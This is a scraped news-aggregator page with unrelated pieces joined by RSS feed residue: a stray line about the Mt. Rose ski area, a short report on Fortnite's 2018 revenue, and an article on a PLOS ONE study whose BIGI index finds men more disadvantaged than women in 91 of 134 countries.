One thing to know: As one of the most prominent ski areas in the Lake Tahoe area, Mt. Rose is a quick 25-minute drive from Reno and an easy trip from the airport.

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  • “Fortnite” continues to be the biggest game in the world, with tens of millions of monthly players across seven different platforms.
  • Even though the game is free, it managed to pull in nearly $ 2.5 billion in 2018, according to Nielsen’s SuperData tracking arm.
  • “Fortnite” offers a seasonal Battle Pass, which costs $ 10 and is wildly popular. More than one-third of US players are buying the Battle Pass, according to SuperData.

“Fortnite” continues to dominate the attention of tens of millions of players around the world.

Despite the fact that it’s a free game, “Fortnite” brings in billions of dollars through sales of virtual items, sales of virtual money, and the ever-important seasonal Battle Pass.

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]]> https://briefnews.eu/how-much-money-is-fortnite-making-nearly-2-5-billion-in-2018-alone-according-to-the-latest-report/feed/ 0 Men face MORE discrimination than women according to new research https://briefnews.eu/men-face-more-discrimination-than-women-according-to-new-research/ https://briefnews.eu/men-face-more-discrimination-than-women-according-to-new-research/#respond Sun, 06 Jan 2019 19:50:05 +0000 http://briefnews.eu/men-face-more-discrimination-than-women-according-to-new-research/ Contrary to everything you’ve ever been told, in most developed countries men are actually more disadvantaged than women, according to new research published in one of the world’s leading scientific journals.

The academics behind the new study say current ways of measuring gender inequality are “biased to highlight women’s issues” so they fail to produce an accurate picture. Their new yardstick, snappily named the Basic Index of Gender Inequality (BIGI), instead focuses on three factors – educational opportunities, healthy life expectancy, and overall life satisfaction.




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The academics, from the University of Missouri in the US and the University of Essex in the UK, used these factors to calculate equality scores for 134 nations, representing 6.8 billion people.

The results are in and, surprisingly, men were found to be more disadvantaged than women in 91 countries while women were more disadvantaged than men in 43. Men are worse off in the US, Russia and most European nations.

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“No existing measure of gender inequality fully captures the hardships that are disproportionately experienced by men in many countries and so they do not fully capture the extent to which any specific country is promoting the well-being of all its citizens,” one of the lead researchers, Professor Gijsbert Stoet, explained.

We’re not saying that women in highly developed countries are not experiencing disadvantages in some aspects of their lives. What we are saying is that an ideal measure of gender equality is not biased to the disadvantages of either gender. Doing so, we find a different picture to the one commonly presented in the media.

The research, which was published this week in PLOS ONE, found that the world’s most developed countries came closest to gender equality, with women gaining a slight advantage. In the least developed nations women were nearly always behind men, largely due to a lack of educational opportunities.

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“With the BIGI, we are focusing on issues that are important to all women and men in any nation, regardless of level of economic and political development, and by including factors that can disadvantage men as well as women,” Professor David Geary from the University of Missouri said. “Current equality measures are generally biased to highlight women’s issues and thus are not really measures of gender equality.”

For more than a decade the Global Gender Gap Index has been one of the most established measures of national gender inequality. But Professor Stoet argues that it fails to measure issues where men are at a disadvantage, such as harsher punishments for the same crime, compulsory military service and more occupational deaths.

He also says the complexity of the index means it can be difficult to distinguish whether gender differences are the result of social inequalities or personal preference.

You can check the rankings for all 134 countries and get more detailed information about individual nations on the BIGI website.

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